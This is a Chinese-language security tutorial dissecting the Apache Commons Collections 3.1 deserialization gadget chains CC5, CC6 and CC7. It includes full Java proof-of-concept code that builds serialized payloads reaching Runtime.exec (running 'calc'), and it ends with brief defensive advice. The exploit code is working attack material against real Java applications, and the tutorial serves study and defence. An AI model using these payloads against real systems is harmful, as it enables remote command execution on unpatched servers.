CC链学习-中
字数 1093 2025-08-05 08:19:29
Apache Commons Collections 反序列化漏洞分析(CC5/CC6/CC7)
概述
本文详细分析Apache Commons Collections中的三个反序列化漏洞利用链(CC5、CC6、CC7),这些漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令。
环境要求
- JDK 1.7/1.8
- Commons Collections 3.1
CC5利用链分析
利用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点解析
-
BadAttributeValueExpException.readObject()
- 在反序列化时调用
valObj.toString() valObj来自val成员变量,可通过反射设置
- 在反序列化时调用
-
TiedMapEntry.toString()
- 调用
getValue()方法 getValue()调用map.get()方法map成员可控,设置为LazyMap对象
- 调用
-
LazyMap.get()
- 当key不存在时,使用
Transformer转换key - 通过
ChainedTransformer构造命令执行链
- 当key不存在时,使用
POC代码分析
public static Object generatePayload() throws Exception {
ChainedTransformer Transformerchain = new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, Transformerchain);
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException")
.getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);
return poc;
}
CC6利用链分析
利用链
java.io.ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点解析
-
HashSet.readObject()
- 内部使用HashMap存储元素
- 反序列化时调用
HashMap.put()
-
HashMap.hash()
- 调用key的
hashCode()方法 - 设置key为
TiedMapEntry对象
- 调用key的
-
TiedMapEntry.hashCode()
- 调用
getValue() - 最终触发
LazyMap.get()
- 调用
特殊处理
- 使用fake Transformer防止本地调试时触发命令执行
- 需要移除
keykey避免提前触发:lazyMap.remove("keykey");
POC代码分析
public static Object generatePayload() throws Exception {
Transformer fakeTransformerransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, fakeTransformerransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("keykey");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fakeTransformerransformer, transformers);
return hashSet;
}
CC7利用链分析
利用链
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
...
关键点解析
-
Hashtable.reconstitutionPut()
- 调用
e.key.equals(key) - 设置
e.key和key为LazyMap对象
- 调用
-
AbstractMap.equals()
- 调用
m.get(key) m和key可控
- 调用
-
两次put的必要性
- 第一次put填充tab数组
- 第二次put触发equals比较
POC代码分析
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformerransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformerransformer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
// 序列化和反序列化代码...
}
防御措施
- 升级Apache Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
总结
这三种利用链都利用了Apache Commons Collections中Transformer的链式调用特性,通过不同的入口点最终触发命令执行。理解这些利用链有助于更好地防御反序列化漏洞。